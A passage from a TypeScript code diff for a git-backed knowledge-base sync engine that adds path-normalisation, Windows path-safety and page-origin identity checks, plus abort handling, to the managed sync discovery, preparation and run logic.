const root = realpathSync(registeredRoot);
if (root !== registeredRoot) throw new OperationError('source_changed', 'The registered source root identity changed.');
+ assertConfiguredSyncRoot(root, source.local_path);
const gitRoot = realpathSync(syncGit(root, ['rev-parse', '--show-toplevel']).trim());
const requested = realpathSync(opts.srcSubpath ? resolve(opts.repoPath ?? gitRoot, opts.srcSubpath) : opts.repoPath ?? root);
- if (requested !== root || !isWriteTargetContained(root, gitRoot)) throw new OperationError('source_changed', 'Sync path does not match this source binding.');
+ if (realpathSync.native(requested) !== realpathSync.native(root) || !isWriteTargetContained(realpathSync.native(root), realpathSync.native(gitRoot))) throw new OperationError('source_changed', 'Sync path does not match this source binding.');
if (source.config?.kind != null) throw new OperationError('writer_coordinator_required', 'Connector sync requires its dedicated coordinator.');
return { binding, root, gitRoot, sourceId, incarnation: source.incarnation, source };
}
@@ -67,7 +107,8 @@ export async function discoverManagedSync(engine: BrainEngine, opts: SyncOpts, c
const { binding, root, gitRoot, sourceId, incarnation, source } = context ?? await resolveManagedSyncContext(engine, opts);
const company = currentCompanyBrainSync(sourceId);
const strategy = opts.strategy ?? source.config?.strategy ?? 'markdown';
- const scope = relative(gitRoot, root).split(sep).join('/');
+ const nativeRoot = realpathSync.native(root), nativeGitRoot = realpathSync.native(gitRoot);
+ const scope = relative(nativeGitRoot, nativeRoot).split(sep).join('/');
const probe = resolveSlugForPath(join(scope, 'x.md'));
const slugMode = company ? 'source-root' : scope ? await resolveSlugRootMode(engine, { sourceId, explicitGitRoot: opts.srcSubpath !== undefined,
slugPrefix: probe.slice(0, -2), dryRun: true }) : 'git-root';
@@ -86,18 +127,25 @@ export async function discoverManagedSync(engine: BrainEngine, opts: SyncOpts, c
const delta = !opts.full && source.last_commit ? computeSyncDelta(gitRoot, source.last_commit, target) : null;
const entries = new Map<string, SyncEntry>();
const put = (path: string, action: SyncEntry['action'], working = false) => {
- if (eligible(path)) entries.set(path, { path: relative(root, join(gitRoot, path)).split(sep).join('/'), sourcePath: sourcePath(path), action, working });
+ if (process.platform === 'win32' && path.includes('\\')) throw new OperationError('page_identity_changed', 'Git paths containing literal backslashes are not safe Windows sync targets.');
+ if (eligible(path)) entries.set(path, { path: relative(nativeRoot, join(nativeGitRoot, path)).split(sep).join('/'), sourcePath: sourcePath(path), action, working });
};
if (delta?.status === 'ok') {
for (const path of [...delta.manifest.added, ...delta.manifest.modified]) put(path, 'import');
for (const path of delta.manifest.deleted) put(path, 'delete');
for (const rename of delta.manifest.renamed) { put(rename.from, 'delete'); put(rename.to, 'import'); }
} else {
- const paths = syncGit(gitRoot, ['ls-tree', '-r', '--name-only', '-z', target]).split('\0').filter(Boolean);
- const present = new Set(paths.map(sourcePath));
+ const paths = syncGit(gitRoot, ['ls-tree', '-r', '--name-only', '-z', target]).split('\0')
+ .filter(path => path && (!scope || path.startsWith(`${scope}/`)));
+ assertDistinctSyncOrigins(paths);
+ const present = new Set(paths.map(path => syncOriginPath(sourcePath(path))));
for (const path of paths) put(path, 'import');
const pages = await engine.executeRaw<{ source_path: string }>('SELECT source_path FROM pages WHERE source_id=$1 AND deleted_at IS NULL AND source_path IS NOT NULL', [sourceId]);
- for (const page of pages) if (!present.has(page.source_path)) put(slugMode === 'source-root' && scope ? `${scope}/${page.source_path}` : page.source_path, 'delete');
+ assertDistinctSyncOrigins([...present, ...pages.map(page => page.source_path)]);
+ for (const page of pages) {
+ const origin = syncOriginPath(page.source_path);
+ if (!present.has(origin)) put(slugMode === 'source-root' && scope ? `${scope}/${origin}` : origin, 'delete');
+ }
}
if (working) {
for (const path of [...dirty.added, ...dirty.modified]) put(path, 'import', true);
@@ -107,10 +155,14 @@ export async function discoverManagedSync(engine: BrainEngine, opts: SyncOpts, c
if (company) {
entries.clear();
const included = company.plan.manifest.filter(entry => entry.disposition === 'included');
- const present = new Set(included.map(entry => entry.path));
+ const present = new Set(included.map(entry => syncOriginPath(entry.path)));
for (const entry of included) entries.set(entry.path, { path: entry.path, sourcePath: entry.path, action: 'import', working: false, slug: entry.page!.slug });
const pages = await engine.executeRaw<{ source_path: string }>('SELECT source_path FROM pages WHERE source_id=$1 AND deleted_at IS NULL AND source_path IS NOT NULL', [sourceId]);
- for (const page of pages) if (!present.has(page.source_path)) entries.set(page.source_path, { path: page.source_path, sourcePath: page.source_path, action: 'delete', working: false });
+ assertDistinctSyncOrigins([...present, ...pages.map(page => page.source_path)]);
+ for (const page of pages) {
+ const origin = syncOriginPath(page.source_path);
+ if (!present.has(origin)) entries.set(origin, { path: origin, sourcePath: origin, action: 'delete', working: false });
+ }
}
const selected = [...entries.values()].sort((a, b) => a.action.localeCompare(b.action) || a.path.localeCompare(b.path));
if (selected.some(e => !/\.mdx?$/i.test(e.path) && !isCodeFilePath(e.path))) throw new OperationError('writer_coordinator_required', 'Managed image sync requires a prepared importer; this sync was refused before any page write.');
@@ -122,15 +174,19 @@ export async function discoverManagedSync(engine: BrainEngine, opts: SyncOpts, c
'SELECT id,slug,source_path,knowledge_revision FROM pages WHERE source_id=$1', [sourceId]);
const bySlug = new Map(identities.map(p => [p.slug, p]));
const byPath = new Map<string, typeof identities>();
- for (const page of identities) if (page.source_path) byPath.set(page.source_path, [...(byPath.get(page.source_path) ?? []), page]);
+ assertDistinctSyncOrigins([...selected.map(entry => entry.sourcePath), ...identities.flatMap(page => page.source_path ? [page.source_path] : [])]);
+ for (const page of identities) if (page.source_path) {
+ const origin = syncOriginPath(page.source_path);
+ byPath.set(origin, [...(byPath.get(origin) ?? []), page]);
+ }
for (const entry of selected) {
- const origins = byPath.get(entry.sourcePath) ?? [];
+ const origins = byPath.get(syncOriginPath(entry.sourcePath)) ?? [];
if (origins.length > 1) throw new OperationError('page_identity_changed', 'Several pages claim the same imported origin.');
let slug = entry.slug ?? origins[0]?.slug ?? resolveSlugForPath(entry.sourcePath);
if (!slug && entry.action === 'import') slug = parseMarkdown(readSyncContent(discovered, entry), '').slug;
if (!slug) throw new OperationError('invalid_params', 'The imported file has no usable page slug.');
const page = origins[0] ?? bySlug.get(slug);
- if (page?.source_path != null && page.source_path !== entry.sourcePath) throw new OperationError('page_identity_changed', 'A different origin occupies the imported slug.');
+ if (page?.source_path != null && syncOriginPath(page.source_path) !== syncOriginPath(entry.sourcePath)) throw new OperationError('page_identity_changed', 'A different origin occupies the imported slug.');
Object.assign(entry, { slug, pageId: page?.id ?? null, revision: page?.knowledge_revision ?? null });
}
if (!working) {
@@ -147,5 +203,5 @@ export function readSyncContent(discovery: SyncDiscovery, entry: SyncEntry): str
if (bytes === null) throw new OperationError('source_changed', 'The discovered working-tree file disappeared.');
return bytes.toString('utf8');
}
- return syncGit(discovery.gitRoot, ['show', `${discovery.target}:${relative(discovery.gitRoot, join(discovery.root, entry.path)).split(sep).join('/')}`]);
+ return syncGit(discovery.gitRoot, ['show', `${discovery.target}:${syncGitPath(discovery, entry.path)}`]);
}
diff --git a/src/core/persistence/sync-origin.ts b/src/core/persistence/sync-origin.ts
new file mode 100644
index 0000000000..1f12cde4cd
--- /dev/null
+++ b/src/core/persistence/sync-origin.ts
@@ -0,0 +1,36 @@
+import type { BrainEngine } from '../engine.ts';
+import { OperationError } from '../ops/contract.ts';
+
+export function syncOriginPath(path: string, platform = process.platform): string {
+ const normalized = platform === 'win32' ? path.replaceAll('\\', '/') : path;
+ if (!normalized || normalized.includes('\0') || normalized.startsWith('/') ||
+ platform === 'win32' && normalized.split('/').some(part => /[<>:"|?*]|[. ]$/.test(part) || /^(con|prn|aux|nul|com[1-9]|lpt[1-9])(?:\.|$)/i.test(part)) ||
+ normalized.split('/').some(part => !part || part === '.' || part === '..')) {
+ throw new OperationError('page_identity_changed', 'The stored sync origin is not a confined relative path.');
+ }
+ return normalized;
+}
+
+export function assertDistinctSyncOrigins(paths: Iterable<string>, platform = process.platform): void {
+ if (platform !== 'win32') return;
+ const seen = new Map<string, string>();
+ for (const path of paths) {
+ const normalized = syncOriginPath(path, platform), key = normalized.toLowerCase();
+ const prior = seen.get(key);
+ if (prior !== undefined && prior !== normalized) {
+ throw new OperationError('page_identity_changed', 'The sync origins contain ambiguous Windows path spellings.');
+ }
+ seen.set(key, normalized);
+ }
+}
+
+export async function assertSyncPageOrigin(engine: BrainEngine, sourceId: string, sourcePath: string, pageId: number | null, requireOrigin = false): Promise<void> {
+ const origin = syncOriginPath(sourcePath);
+ const pathSql = process.platform === 'win32' ? "lower(replace(source_path,chr(92),'/'))=lower($2)" : 'source_path=$2';
+ const pages = await engine.executeRaw<{ id: number; source_path: string }>(
+ `SELECT id,source_path FROM pages WHERE source_id=$1 AND ${pathSql}`, [sourceId, origin]);
+ if (pages.length > 1 || requireOrigin && pageId !== null && pages.length !== 1 ||
+ pages.some(page => page.id !== pageId || syncOriginPath(page.source_path) !== origin)) {
+ throw new OperationError('page_identity_changed', 'The imported origin no longer identifies exactly the accepted page.');
+ }
+}
diff --git a/src/core/persistence/sync-prepare.ts b/src/core/persistence/sync-prepare.ts
index b4a715401c..fe9f3a5ebc 100644
--- a/src/core/persistence/sync-prepare.ts
+++ b/src/core/persistence/sync-prepare.ts
@@ -1,3 +1,4 @@
+import { realpathSync } from 'node:fs';
import { basename, join } from 'node:path';
import type { BrainEngine } from '../engine.ts';
import type { GBrainConfig } from '../config.ts';
@@ -14,8 +15,9 @@ import { prepareCanonicalProjections } from './canonical-projections.ts';
import { digest, sha256 } from './digest.ts';
import { preserveProtectedTakes } from './protected-takes.ts';
import { getWorktreeBinding } from './ownership.ts';
-import { syncRawHash } from './sync-discovery.ts';
-import { validateSyncAuthority, type SyncAuthority } from './sync-authority.ts';
+import { assertConfiguredSyncRoot, assertSyncEntryOrigin, syncGit, syncRawHash } from './sync-discovery.ts';
+import { assertSyncPageOrigin, syncOriginPath } from './sync-origin.ts';
+import { assertManagedSyncActive, validateSyncAuthority, type SyncAuthority, type SyncProcessingOptions } from './sync-authority.ts';
import type { PreparedContentImport } from './prepared-import.ts';
import type { PreparedMutation } from './coordinator.ts';
import type { WriteRequest } from './model.ts';
@@ -31,20 +33,54 @@ export interface SyncIntent extends Record<string, unknown> {
expected_revision: string | null; sourcePath: string | null; path: string | null;
rawHash: string | null; content: string | null; ownerEpoch: string;
lineEndingOnly?: boolean;
+ working?: boolean;
+ processingOptions?: SyncProcessingOptions;
syncAuthority: SyncAuthority; cursorKey: string; runId: string; index: number;
from: string | null; target: string; total: number; slugMode: 'git-root' | 'source-root';
}
export async function prepareManagedSyncMutation(engine: BrainEngine, row: WriteRequest, _config: GBrainConfig): Promise<PreparedMutation> {
const p = row.intent as SyncIntent | null;
if (!p || !['managed_sync_import', 'managed_sync_delete', 'managed_sync_checkpoint'].includes(p.kind)) throw new OperationError('invalid_params', 'Unsupported internal sync intent.');
+ await assertManagedSyncActive(engine);
+ if (p.kind !== 'managed_sync_delete' && (!p.processingOptions ||
+ ['noEmbed', 'noExtract', 'noSchemaPack'].some(key => typeof p.processingOptions?.[key as keyof SyncProcessingOptions] !== 'boolean'))) {
+ throw new OperationError('invalid_params', 'The legacy sync request has no durable processing options.',
+ 'Inspect this unchanged request, then use --retry-failed with explicit sync options to rediscover. Unknown embedding and schema consent cannot be inferred from a retry.');
+ }
await validateSyncAuthority(engine, p.syncAuthority, row.slug);
const binding = await getWorktreeBinding(engine, row.source_id);
if (!binding?.local_path || String(binding.owner_epoch) !== p.ownerEpoch) throw new OperationError('owner_unavailable', 'The accepted sync owner changed.');
const root = join(binding.local_path, binding.relative_path);
+ const [configuredSource] = await engine.executeRaw<{ local_path: string | null }>('SELECT local_path FROM sources WHERE id=$1', [row.source_id]);
+ assertConfiguredSyncRoot(root, configuredSource?.local_path ?? null);
if (p.kind !== 'managed_sync_checkpoint') await assertKnowledgePublicationAllowed(engine, row,
p.path === null ? undefined : { root, path: join(root, p.path) });
+ let origin: Parameters<typeof assertSyncEntryOrigin>[1] | undefined;
+ let originContext: Parameters<typeof assertSyncEntryOrigin>[0] | undefined;
+ if (p.kind !== 'managed_sync_checkpoint') {
+ if (typeof p.path !== 'string' || typeof p.sourcePath !== 'string') throw new OperationError('storage_error', 'The accepted sync origin is missing.');
+ let working = p.working;
+ if (p.kind === 'managed_sync_delete' && working === undefined) {
+ const [manifest] = await engine.executeRaw<{ entry: { path: string; sourcePath: string; action: string; working: boolean; pageId?: number | null } }>(
+ "SELECT completed_keys->$2::integer AS entry FROM op_checkpoints WHERE op='managed-sync-manifest' AND fingerprint=$1", [p.runId, p.index]);
+ const entry = manifest?.entry;
+ if (!entry || entry.path !== p.path || entry.sourcePath !== p.sourcePath || entry.action !== 'delete' ||
+ typeof entry.working !== 'boolean' || (entry.pageId ?? null) !== row.page_id) {
+ throw new OperationError('page_identity_changed', 'The legacy deletion has no matching immutable origin manifest.',
+ 'Inspect the source identity and explicitly retry failed sync discovery; the accepted request has not been rewritten.');
+ }
+ working = entry.working;
+ }
+ origin = { path: p.path, sourcePath: p.sourcePath, action: p.kind === 'managed_sync_delete' ? 'delete' : 'import', working };
+ originContext = { root, gitRoot: realpathSync(syncGit(root, ['rev-parse', '--show-toplevel']).trim()), target: p.target, slugMode: p.slugMode };
+ assertSyncEntryOrigin(originContext, origin);
+ await assertSyncPageOrigin(engine, row.source_id, p.sourcePath, row.page_id, p.kind === 'managed_sync_delete');
+ }
const validate = async (tx: BrainEngine) => {
+ await assertManagedSyncActive(tx, true);
await validateSyncAuthority(tx, p.syncAuthority, row.slug);
+ const [configuredSource] = await tx.executeRaw<{ local_path: string | null }>('SELECT local_path FROM sources WHERE id=$1 FOR SHARE', [row.source_id]);
+ assertConfiguredSyncRoot(root, configuredSource?.local_path ?? null);
const [cursor] = await tx.executeRaw<{ run_id: string; request_id: string | null }>(
"SELECT completed_keys->0->>'runId' AS run_id,completed_keys->0->'pending'->>'requestId' AS request_id FROM op_checkpoints WHERE op='managed-sync' AND fingerprint=$1 FOR SHARE", [p.cursorKey]);
if (cursor && (cursor.run_id !== p.runId || cursor.request_id !== row.request_id)) throw new OperationError('revision_conflict', 'The accepted sync cursor changed before publication.');
@@ -53,6 +89,10 @@ export async function prepareManagedSyncMutation(engine: BrainEngine, row: Write
if (p.kind !== 'managed_sync_checkpoint') await assertKnowledgePublicationAllowed(tx, row,
p.path === null ? undefined : { root, path: join(root, p.path) });
if (p.path !== null && syncRawHash(root, p.path) !== p.rawHash) throw new OperationError('source_changed', 'The imported file changed after sync admission.');
+ if (origin && originContext) {
+ assertSyncEntryOrigin(originContext, origin);
+ await assertSyncPageOrigin(tx, row.source_id, origin.sourcePath, row.page_id, p.kind === 'managed_sync_delete');
+ }
if (p.companyApproval) {
const [source] = await tx.executeRaw<{ config: unknown }>('SELECT config FROM sources WHERE id=$1', [row.source_id]);
const policy = companyBrainProfile(source?.config);
@@ -89,7 +129,7 @@ export async function prepareManagedSyncMutation(engine: BrainEngine, row: Write
const source = { sourceId: row.source_id };
const snapshot = await engine.readPageSnapshot(row.slug, { ...source, includeDeleted: true });
assertPageRevision(snapshot, p.expected_revision === null ? {} : { expectedRevision: p.expected_revision });
- if ((snapshot?.page.id ?? null) !== row.page_id || (snapshot?.page.source_path != null && snapshot.page.source_path !== p.sourcePath)) {
+ if ((snapshot?.page.id ?? null) !== row.page_id || (snapshot?.page.source_path != null && syncOriginPath(snapshot.page.source_path) !== syncOriginPath(p.sourcePath!))) {
throw new OperationError('page_identity_changed', 'The imported path no longer names the accepted page.');
}
if (p.kind === 'managed_sync_delete') return { observedRevision: snapshot?.revision ?? null, noop: !snapshot || snapshot.page.deleted_at != null,
@@ -116,11 +156,14 @@ export async function prepareManagedSyncMutation(engine: BrainEngine, row: Write
} };
}
const schema = p.companyApproval?.schema;
- const activePack = schema ? (await checkApprovedSchemaForEngine(engine, { name: schema.name, identity: schema.identity, resolvedManifestHash: schema.resolved_digest },
+ if (schema && p.processingOptions?.noSchemaPack) throw new OperationError('profile_incompatible', 'Company source approval requires its pinned schema pack.');
+ const activePack = p.processingOptions?.noSchemaPack ? undefined : schema ? (await checkApprovedSchemaForEngine(engine, { name: schema.name, identity: schema.identity, resolvedManifestHash: schema.resolved_digest },
{ remote: false, sourceId: row.source_id })).pack.manifest : (await loadActivePackForEngine(engine, { remote: row.authority.remote, sourceId: row.source_id }).catch(() => null))?.manifest;
const parsedInput = parseMarkdown(p.content, row.slug, { activePack });
const expectedSlug = resolveSlugForPath(p.sourcePath);
- if (expectedSlug && parsedInput.slug !== expectedSlug && slugifyPath(parsedInput.slug) !== expectedSlug) {
+ const retainedWindowsOrigin = process.platform === 'win32' && snapshot?.page.source_path != null &&
+ syncOriginPath(snapshot.page.source_path) === syncOriginPath(p.sourcePath) && parsedInput.slug === snapshot.page.slug;
+ if (expectedSlug && parsedInput.slug !== expectedSlug && slugifyPath(parsedInput.slug) !== expectedSlug && !retainedWindowsOrigin) {
throw new OperationError('invalid_params', 'The file frontmatter slug conflicts with its physical origin.');
}
if (!p.companyApproval && snapshot && !p.lineEndingOnly && p.rawHash !== sha256(p.content) && !sameCanonicalImport(snapshot, parsedInput)) {
@@ -156,7 +199,7 @@ export async function prepareManagedSyncMutation(engine: BrainEngine, row: Write
if (overlay && p.companyApproval) throw new OperationError('source_writeback_required', 'Canonical preparation requires a source-content correction; this profile never writes repository files.');
if (overlay && !p.lineEndingOnly && p.rawHash !== sha256(p.content)) throw new OperationError('source_changed', 'Canonical sanitization cannot overwrite newer working-tree bytes.');
const project = prepareCanonicalProjections(ready.parsedPage, row.slug, row.source_id);
- return { observedRevision: snapshot?.revision ?? null, validate,
+ return { observedRevision: snapshot?.revision ?? null, validate, deferEmbedding: p.processingOptions?.noEmbed,
...(overlay ? { file: { root, path: join(root, p.path), content: serializePageToMarkdown(renderedPage, tags), expectedBeforeHash: p.rawHash } } : {}),
apply: async tx => {
await ready.apply(tx);
diff --git a/src/core/persistence/sync-run.ts b/src/core/persistence/sync-run.ts
index ea6c55beed..d166183312 100644
--- a/src/core/persistence/sync-run.ts
+++ b/src/core/persistence/sync-run.ts
@@ -3,12 +3,15 @@ import type { BrainEngine } from '../engine.ts';
import type { SyncOpts, SyncResult } from '../../commands/sync.ts';
import { loadConfig } from '../config.ts';
import { OperationError } from '../ops/contract.ts';
-import { currentJobSignal } from '../minions/submission-authority.ts';
+import { currentSourceFilesystemSignal } from '../minions/source-filesystem.ts';
+import { throwIfAborted } from '../abort-check.ts';
import { digest, sha256 } from './digest.ts';
-import { getWriteRequest, admitWrite, receiptFor } from './journal.ts';
+import { getWriteRequest, admitWriteInTransaction, receiptFor } from './journal.ts';
+import { retryWriteAdmission } from './admission-retry.ts';
import { assertPersistenceAccepting, foregroundWriteCompletions, startPersistenceConsumer, waitForWrite } from './service.ts';
-import { discoverManagedSync, resolveManagedSyncContext, readSyncContent, readSyncFile, syncGit, type SyncDiscovery } from './sync-discovery.ts';
-import { managedSyncAuthority, validateSyncAuthority, validateManagedSyncOptions, type SyncAuthority } from './sync-authority.ts';
+import { assertSyncEntryOrigin, discoverManagedSync, resolveManagedSyncContext, readSyncContent, readSyncFile, syncGit, type SyncDiscovery } from './sync-discovery.ts';
+import { assertSyncPageOrigin, syncOriginPath } from './sync-origin.ts';
+import { assertManagedSyncActive, assertSyncDispatchActive, managedSyncAuthority, validateSyncAuthority, validateManagedSyncOptions, syncProcessingOptions, type SyncAuthority, type SyncProcessingOptions } from './sync-authority.ts';
import type { SyncIntent } from './sync-prepare.ts';
import { currentCompanyBrainSync, getCompanyBrainProfile, readCompanyBrainPlan } from '../company-brain/profile.ts';
import { readCommittedBlob } from '../company-brain/revision.ts';
@@ -33,6 +36,7 @@ export interface ManagedSyncWriteDiagnostic {
interface Pending { requestId: string; slug: string; pageId: number | null; intent: SyncIntent; }
interface Cursor extends SyncDiscovery { runId: string; index: number; authority: SyncAuthority; pending?: Pending; done?: boolean; companyReceiptId?: string;
+ processingOptions?: SyncProcessingOptions;
counts: { added: number; modified: number; deleted: number; chunks: number }; }
const OP = 'managed-sync';
type CursorHeader = Omit<Cursor, 'entries' | 'companyPlan'> & { total: number };
@@ -53,13 +57,18 @@ async function readCursor(engine: BrainEngine, key: string, cached?: Cursor): Pr
const companyPlan = value.companyReceiptId ? cached?.companyPlan ?? await readCompanyBrainPlan(engine, value.companyReceiptId) : undefined;
return { ...value, entries, ...(companyPlan ? { companyPlan } : {}) };
}
-async function saveCursor(engine: BrainEngine, key: string, before: Cursor | null, next: Cursor, requireIdle = false): Promise<Cursor> {
+async function saveCursor(engine: BrainEngine, key: string, before: Cursor | null, next: Cursor, requireIdle = false, assertActive?: () => void): Promise<Cursor> {
return engine.transaction(async tx => {
+ assertActive?.();
await tx.executeRaw("SELECT set_config('synchronous_commit','on',true)");
if (requireIdle) {
await tx.executeRaw('SELECT id FROM persistence_worktrees WHERE id=$1::uuid FOR UPDATE', [next.binding.worktree_id]);
const active = await tx.executeRaw("SELECT id FROM persistence_requests WHERE source_id=$1 AND (state IN ('queued','running','recovering') OR recovery IS NOT NULL) LIMIT 1", [next.sourceId]);
- if (active.length) return (await readCursor(tx, key, before ?? undefined))!;
+ if (active.length) {
+ const current = (await readCursor(tx, key, before ?? undefined))!;
+ assertActive?.();
+ return current;
+ }
}
if (before === null) {
await tx.executeRaw(`INSERT INTO op_checkpoints(op,fingerprint,completed_keys) VALUES($1,$2,$3::text::jsonb) ON CONFLICT DO NOTHING`, [`${OP}-manifest`, next.runId, JSON.stringify(next.entries)]);
@@ -71,22 +80,30 @@ async function saveCursor(engine: BrainEngine, key: string, before: Cursor | nul
}
const current = await readCursor(tx, key, next);
if (!current) throw new OperationError('storage_error', 'The durable sync cursor disappeared.');
+ assertActive?.();
return current;
});
}
-async function replaceCursor(engine: BrainEngine, key: string, before: CursorHeader, next: Cursor): Promise<Cursor> {
+async function replaceCursor(engine: BrainEngine, key: string, before: CursorHeader, next: Cursor, assertActive: () => void): Promise<Cursor> {
return engine.transaction(async tx => {
+ assertActive();
await tx.executeRaw("SELECT set_config('synchronous_commit','on',true)");
await tx.executeRaw('SELECT id FROM persistence_worktrees WHERE id=$1::uuid FOR UPDATE', [next.binding.worktree_id]);
const active = await tx.executeRaw("SELECT id FROM persistence_requests WHERE source_id=$1 AND (state IN ('queued','running','recovering') OR recovery IS NOT NULL) LIMIT 1", [next.sourceId]);
- if (active.length) return (await readCursor(tx, key))!;
+ if (active.length) {
+ const current = (await readCursor(tx, key))!;
+ assertActive();
+ return current;
+ }
await tx.executeRaw(`INSERT INTO op_checkpoints(op,fingerprint,completed_keys) VALUES($1,$2,$3::text::jsonb)`, [`${OP}-manifest`, next.runId, JSON.stringify(next.entries)]);
await tx.executeRaw('UPDATE op_checkpoints SET completed_keys=$4::text::jsonb,updated_at=now() WHERE op=$1 AND fingerprint=$2 AND completed_keys=$3::text::jsonb',
[OP, key, JSON.stringify([before]), JSON.stringify([header(next)])]);
- return (await readCursor(tx, key, next))!;
+ const current = (await readCursor(tx, key, next))!;
+ assertActive();
+ return current;
});
}
-function result(cursor: Cursor, status: SyncResult['status'], reason?: SyncResult['reason']): SyncResult {
+function result(cursor: Cursor | CursorHeader, status: SyncResult['status'], reason?: SyncResult['reason']): SyncResult {
return { status, ...(cursor.authority.writer.remote ? {} : { runId: cursor.runId }), fromCommit: cursor.authority.writer.remote ? null : cursor.from,
toCommit: cursor.authority.writer.remote ? '' : cursor.target, added: cursor.counts.added, modified: cursor.counts.modified,
deleted: cursor.counts.deleted, renamed: 0, chunksCreated: cursor.counts.chunks, embedded: 0, pagesAffected: [],
@@ -117,12 +134,16 @@ function writeDiagnostic(cursor: Cursor, pending: Pending, row: WriteRequest): M
}
return diagnostic;
}
-async function freezeEntry(engine: BrainEngine, cursor: Cursor, key: string): Promise<Pending> {
+async function freezeEntry(engine: BrainEngine, cursor: Cursor, key: string, assertActive: () => void): Promise<Pending> {
+ assertActive();
const entry = cursor.entries[cursor.index];
let slug = '__managed_sync_checkpoint__', pageId: number | null = null, revision: string | null = null;
let content: string | null = null, rawHash: string | null = null;
let lineEndingOnly = false;
if (entry) {
+ assertSyncEntryOrigin(cursor, entry);
+ await assertSyncPageOrigin(engine, cursor.sourceId, entry.sourcePath, entry.pageId ?? null, entry.action === 'delete');
+ assertActive();
const bytes = readSyncFile(cursor.root, entry.path);
rawHash = bytes === null ? null : sha256(bytes);
if (entry.action === 'import' && cursor.companyPlan) {
@@ -130,110 +151,159 @@ async function freezeEntry(engine: BrainEngine, cursor: Cursor, key: string): Pr
const blob = company?.entries.get(entry.path);
if (company?.receiptId !== cursor.companyReceiptId || !blob || blob.disposition !== 'included') throw new OperationError('plan_stale', 'The durable cursor does not match its approved content manifest.');
content = (await readCommittedBlob(cursor.companyPlan.revision!, blob, cursor.companyPlan.limits)).toString('utf8');
+ assertActive();
} else content = entry.action === 'import' ? readSyncContent(cursor, entry) : null;
lineEndingOnly = bytes !== null && content !== null && bytes.equals(Buffer.from(bytes.toString('utf8'))) &&
bytes.toString('utf8').replace(/\r\n/g, '\n') === content.replace(/\r\n/g, '\n');
slug = entry.slug!; pageId = entry.pageId ?? null; revision = entry.revision ?? null;
const snapshot = await engine.readPageSnapshot(slug, { sourceId: cursor.sourceId, includeDeleted: true });
+ assertActive();
if ((snapshot?.page.id ?? null) !== pageId || (snapshot?.revision ?? null) !== revision ||
- (snapshot?.page.source_path != null && snapshot.page.source_path !== entry.sourcePath)) {
+ (snapshot?.page.source_path != null && syncOriginPath(snapshot.page.source_path) !== syncOriginPath(entry.sourcePath))) {
throw new OperationError('revision_conflict', 'A page changed after this sync cursor was enumerated.');
}
}
await validateSyncAuthority(engine, cursor.authority, slug);
+ assertActive();
return { requestId: randomUUID(), slug, pageId, intent: { kind: !entry ? 'managed_sync_checkpoint' : entry.action === 'import' ? 'managed_sync_import' : 'managed_sync_delete',
expected_revision: revision, sourcePath: entry?.sourcePath ?? null, path: entry?.path ?? null, rawHash, content, lineEndingOnly,
+ processingOptions: cursor.processingOptions,
ownerEpoch: String(cursor.binding.owner_epoch), syncAuthority: cursor.authority, cursorKey: key, runId: cursor.runId,
- slugMode: cursor.slugMode, index: cursor.index, total: cursor.entries.length, from: cursor.from, target: cursor.target,
+ slugMode: cursor.slugMode, index: cursor.index, total: cursor.entries.length, from: cursor.from, target: cursor.target, working: entry?.working ?? false,
...(cursor.companyPlan ? { companyApproval: { schema: cursor.companyPlan.schema!, planDigest: cursor.companyPlan.plan_digest, extractorVersion: cursor.companyPlan.extractor_version,
policyFingerprint: currentCompanyBrainSync(cursor.sourceId)!.policyFingerprint } } : {}) } };
}
/** One immutable page is admitted at a time; foreground writes can never sit behind a whole scan. */
export async function performManagedSync(engine: BrainEngine, opts: SyncOpts, slice?: { maxPages: number; maxMs: number }): Promise<SyncResult> {
+ await assertManagedSyncActive(engine);
if (opts.sourceId && !currentCompanyBrainSync(opts.sourceId) && await getCompanyBrainProfile(engine, opts.sourceId)) {
return (await import('../company-brain/runtime.ts')).performCompanyBrainSync(engine, opts);
}
assertPersistenceAccepting(engine);
validateManagedSyncOptions(opts);
const context = await resolveManagedSyncContext(engine, opts);
- const authority = await managedSyncAuthority(engine, context.sourceId, context.incarnation, context.root);
+ const authority = await managedSyncAuthority(engine, context.sourceId, context.incarnation, opts.repoPath ?? context.root);
const company = currentCompanyBrainSync(context.sourceId);
+ const processingOptions = syncProcessingOptions(opts);
const key = digest({ source: context.incarnation, principal: authority.writer.principal, authority, ...(company ? { company: { receiptId: company.receiptId, planDigest: company.plan.plan_digest } } : {}),
options: { full: opts.full ?? false, workingTree: opts.workingTree ?? false, srcSubpath: opts.srcSubpath ?? null,
exclude: opts.exclude ?? [], includeHidden: opts.includeHidden ?? [], strategy: opts.strategy ?? null } });
let cursor: Cursor | null = null;
+ let missingManifestCursor: CursorHeader | null = null;
let phase: ManagedSyncFailure['phase'] = 'resume';
let discoveryTarget: string | null = null;
const discoveryRun = randomUUID();
+ const inheritedSignal = currentSourceFilesystemSignal();
+ const signal = opts.signal && inheritedSignal ? AbortSignal.any([opts.signal, inheritedSignal]) : opts.signal ?? inheritedSignal;
+ const assertActive = () => {
+ assertSyncDispatchActive();
+ throwIfAborted(signal);
+ assertPersistenceAccepting(engine);
+ };
try {
+ assertActive();
try { cursor = await readCursor(engine, key); }
catch (error) {
if (!(error instanceof MissingSyncManifest) || !opts.retryFailed || opts.dryRun || company) throw error;
+ missingManifestCursor = error.cursor;
+ assertActive();
phase = 'discovery';
discoveryTarget = syncGit(context.gitRoot, ['rev-parse', 'HEAD']).trim();
const discovery = await discoverManagedSync(engine, opts, context);
- cursor = await replaceCursor(engine, key, error.cursor, { ...discovery, authority, runId: discoveryRun, index: 0, counts: { added: 0, modified: 0, deleted: 0, chunks: 0 } });
+ assertActive();
+ cursor = await replaceCursor(engine, key, error.cursor, { ...discovery, authority, processingOptions, runId: discoveryRun, index: 0, counts: { added: 0, modified: 0, deleted: 0, chunks: 0 } }, assertActive);
}
- if (company && opts.retryFailed && cursor?.pending && !opts.dryRun) {
- const failed = await getWriteRequest(engine, cursor.authority.writer.principal, cursor.pending.requestId);
+ assertActive();
+ if (company && opts.retryFailed && cursor && !cursor.done && !opts.dryRun) {
+ const failed = cursor.pending ? await getWriteRequest(engine, cursor.authority.writer.principal, cursor.pending.requestId) : null;
const unfinished = await engine.executeRaw("SELECT id FROM persistence_requests WHERE source_id=$1 AND (state IN ('queued','running','recovering') OR recovery IS NOT NULL) LIMIT 1", [cursor.sourceId]);
- if (!unfinished.length && failed && ['failed', 'conflict', 'cancelled'].includes(failed.state)) {
+ assertActive();
+ if (!unfinished.length && (failed && ['failed', 'conflict', 'cancelled'].includes(failed.state) || !cursor.pending && !cursor.processingOptions)) {
+ if (cursor.processingOptions && digest(cursor.processingOptions) !== digest(processingOptions)) {
